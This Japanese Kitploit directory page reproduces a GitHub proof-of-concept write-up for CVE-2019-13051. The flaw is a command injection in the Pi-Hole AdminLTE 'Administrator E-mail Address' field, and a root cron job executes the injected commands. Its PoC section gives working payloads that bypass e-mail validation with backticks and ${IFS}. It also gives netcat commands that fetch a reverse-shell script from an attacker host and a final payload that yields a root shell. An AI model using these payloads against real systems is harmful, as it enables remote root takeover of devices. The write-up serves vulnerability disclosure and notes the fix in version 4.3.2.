Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2019-13051 — Pi-Hole AdminLTE コマンドインジェクション (CVE-2019-13051) の概念実証エクスプロイト。メールフィールドインジェクションとcronベースの実行を介してリモートルートアクセスを可能にします。 | Kitploit
ツール/GitHubGitHub/pr0tean/cve-2019-13051
特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール
GitHubpr0tean/cve-2019-13051

CVE-2019-13051

Pi-Hole AdminLTE コマンドインジェクション (CVE-2019-13051) の概念実証エクスプロイト。メールフィールドインジェクションとcronベースの実行を介してリモートルートアクセスを可能にします。

リポジトリを見る
2036年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Pi-Hole < 4.3.2 コマンドインジェクション & 権限昇格 (CVE-2019-13051)

Pi-Hole バージョン 4.3.2 にはこの脆弱性の修正が含まれています: https://github.com/pi-hole/AdminLTE/pull/974

Pi-Hole 開発チームの素晴らしいプロジェクトと、この脆弱性の報告を非常に簡単にしてくれたことに心から感謝します!

エグゼクティブサマリー

記載された脆弱性を利用して、"AdminLTE" コンポーネントを介して RaspberryPi デバイス(またはアプリケーションが動作しているデバイス/VM)にリモートで root アクセスを取得することが可能です。これを悪用するには、AdminLTE Web インターフェースへの管理アクセス/認証情報が必要です。

より詳細には、正規表現チェックをバイパスし、"Administrator E-mail Address" フィールドに任意のコマンドを注入することが可能です。これらのコマンドは "/etc/pihole/setupVars.conf" に保存され、その後、10分間隔の cron.d ジョブ "/usr/local/bin/pihole updatechecker local" によって root 権限で解析され実行されます。

攻撃の前提条件

  1. 管理 Pi-Hole Web アプリケーション (AdminLTE) へのネットワーク接続。
  2. AdminLTE Web アプリケーションの認証情報一式。

制限事項

攻撃者は、コマンド/コード実行のために cron ジョブ "/etc/cron.d/pihole" の10分間隔を待つ必要があります。

技術的説明

以下の詳細と PoC が、問題の検証と再現に役立つことを願います。

Web アプリケーションに認証されると、攻撃者がコマンドを正常に注入するためにバイパスする必要があるいくつかのサーバーサイドのバリデーションがあります。

"savesettings.php" の 499 行目で、ユーザー制御変数 "$adminemail" が内部 PHP 関数 FILTER_VALIDATE_EMAIL に対して評価されますが、そのチェックは比較的弱いものです。

このバリデーションチェックをバイパスし、コマンドインジェクションを証明するには、例えばバックティックのセットを二重引用符で囲み、管理者の電子メールとして次のように入力することが可能です:

"`test>/tmp/poc_proof.txt`"@example.com

スクリーンショット 1

10分以内に、"test" を含む root 所有のファイルが root 権限で "/tmp/poc_proof.txt" に作成されます。

スクリーンショット 2

さらに意味のある攻撃を行うには、空白文字の制限もバイパスする必要があります(空白は有効な電子メール文字ではなく、FILTER_VALIDATE_EMAIL 関数で捕捉されます)。これには、内部の Linux 変数 ${IFS} が利用されました(ほとんどの Unix OS ではデフォルトで空白文字になります)。

PoC:

*注: これは POSIX シェル文法 (例: &&, || ...) を使用して1行で自動化できます。

  1. 攻撃マシン上でスクリプト配信メカニズムを準備してください。すなわち、攻撃マシン上で:

nc -nvlp 4444 < revshell.py

  1. "Administrator E-mail Address" フィールドに最初のコマンドを送信して、"/tmp/revshell.py" にリバースシェルの Python スクリプトを取得・保存させます:

"`nc${IFS}192.168.1.69${IFS}4444>/tmp/revshell.py`"@example.com

スクリーンショット 3

HTTP プロキシで検査すると、HTTP リクエストは次のようになります:

スクリーンショット 4

cron ジョブが実行されスクリプトを取得するまで10分待つか、再現目的で手動で /usr/local/bin/pihole updatechecker local を実行してください。また、"/etc/pihole/setupVars.conf" (ADMIN_EMAIL 変数に割り当てられていることが確認できます) に注入されたコマンドを検証することもできます。

  1. シェルキャッチサービスを準備してください。すなわち、攻撃マシン上で:

nc -nvlp 4445

  1. 最後に、次の内容を送信します:

“`python${IFS}/tmp/revshell.py`”@example.com

再度10分待つか(または問題再現のために手動で cron スクリプトを実行してください)、攻撃マシン上で root シェルを取得できます。

スクリーンショット 1

ツールをダウンロード